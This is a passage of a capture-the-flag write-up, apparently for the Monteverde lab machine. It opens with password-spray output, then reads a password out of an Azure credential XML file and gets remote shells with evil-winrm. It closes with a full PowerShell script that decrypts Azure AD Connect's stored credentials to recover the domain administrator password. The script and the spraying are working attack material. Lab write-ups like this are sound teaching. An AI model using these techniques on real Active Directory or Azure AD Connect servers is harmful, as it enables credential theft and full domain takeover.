SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [+] Enumerated shares
SMB 10.10.10.172 445 MONTEVERDE Share Permissions Remark
SMB 10.10.10.172 445 MONTEVERDE ----- ----------- ------
SMB 10.10.10.172 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.10.10.172 445 MONTEVERDE azure_uploads READ
SMB 10.10.10.172 445 MONTEVERDE C$ Default share
SMB 10.10.10.172 445 MONTEVERDE E$ Default share
SMB 10.10.10.172 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.10.10.172 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE users$ READ We do get a valid pair of creds
MEGABANK.LOCAL\SABatchJobs:SABatchJobsand a list of the smb shares.
SMB
Let's check these shares
No luck with IPC$, NETLOGON
users$
In mhope folder we have an azure.xml file we can take it for further analysis using
get azure.xml
Azure.xml
This file contains a password
4n0therD4y@n0th3r$Here is the full file
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>Password spray with the password just found
Using crackmapexec again we find out that this is mhope password
So we have another pair of credentials
mhope:4n0therD4y@n0th3r$
Shell as mhope
Using evil-winrm, we get a shell as mhope
evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'We can get the user shell
Privesc
There are a some folders and programs related to Azure. Our user is a member of the Azure Admins group.
This blog has an interesting script to use Microsoft Azure Active Directory Connect
I can take the script and upload it using
upload script.ps1this will fetch the creds from the db ( I hope so :D )We had to change the connection String 0xdf explains it on their writeup here
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)And it works. We get creds for the administrator
administrator:d0m@in4dminyeah!
Now let's try to connect as Administrator using evil-winrm
evil-winrm -i 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!'It works we can grab the root flag
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